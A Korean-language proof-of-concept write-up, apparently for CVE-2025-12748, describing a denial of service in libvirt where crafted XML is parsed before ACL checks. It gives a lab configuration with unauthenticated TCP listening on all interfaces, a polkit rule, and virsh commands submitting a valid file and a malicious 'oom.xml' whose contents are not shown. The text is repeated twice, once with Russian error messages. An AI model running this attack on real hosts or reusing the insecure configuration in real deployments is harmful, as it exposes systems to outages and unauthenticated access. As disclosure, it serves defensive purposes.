
ACL 검사를 우회하여 리소스 고갈을 허용하는 libvirt XML 처리의 서비스 거부 취약점인 CVE-2025-12748에 대한 개념 증명입니다.
XML 파일 처리 과정에서 문제가 발견되었습니다.
파일 내용 처리가 ACL 검사보다 먼저 수행됩니다. 이로 인해 제한된 권한을 가진 사용자가 특수하게 조작된 XML 파일을 제출하여 과도한 리소스 소비를 유발할 수 있으며, 이는 잠재적인 서비스 거부(DoS) 공격으로 이어질 수 있습니다.
apt-get install libvirt libvirt-kvm libvirt-qemu
gpasswd -a user vmusers
systemctl enable --now libvirtd
listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkit유효한 XML 파일로 libvirt에 접근 시도:
virsh --connect qemu://system define ./test.xml
다음 오류가 발생합니다:
error: Failed to define domain from ./test.xml
error: access denied: access denied "QEMU"
그리고 해당 polkit 로그:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
악성 XML 파일로 libvirt에 접근 시도:
virsh --connect qemu://system define ./oom.xml
서버가 중단되어 로그는 비어 있으며, top에서 libvirtd의 리소스 소비 증가를 확인할 수 있습니다.
XML 파일 처리 과정에서 문제가 발견되었습니다.
파일 내용 처리가 ACL 검사보다 먼저 수행됩니다. 이로 인해 제한된 권한을 가진 사용자가 특수하게 조작된 XML 파일을 제출하여 과도한 리소스 소비를 유발할 수 있으며, 이는 잠재적인 서비스 거부(DoS) 공격으로 이어질 수 있습니다.
/etc/libvirt/libvirtd.conf에서 내용을 다음으로 교체합니다:listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
listen_addr = "0.0.0.0"
unix_sock_group = "vmusers"
auth_tcp = "none"
access_drivers = ["polkit"]
min_workers = 1
max_workers = 1
prio_workers = 1
admin_min_workers = 1
admin_max_workers = 1
log_outputs="1:file:/var/log/libvirt/libvirtd.log"
log_level = 1
/etc/polkit-1/rules.d/50-libvirt-user.rules):polkit.addRule(function(action, subject) {
polkit.log("action=" + action);
polkit.log("subject=" + subject);
if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
subject.user == "user") {
return polkit.Result.NO;
}
else {
return polkit.Result.YES;
}
})
systemctl restart libvirtd polkit유효한 XML 파일로 libvirt에 접근 시도:
virsh --connect qemu://system define ./test.xml
다음 오류가 발생합니다:
ошибка: Не удалось создать описание домена на основе ./test.xml
ошибка: доступ запрещен: доступ запрещен "QEMU"
그리고 해당 polkit 로그:
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
악성 XML 파일로 libvirt에 접근 시도:
virsh --connect qemu://system define ./oom.xml
서버가 중단되어 로그는 비어 있으며, top에서 libvirtd의 리소스 소비 증가를 확인할 수 있습니다.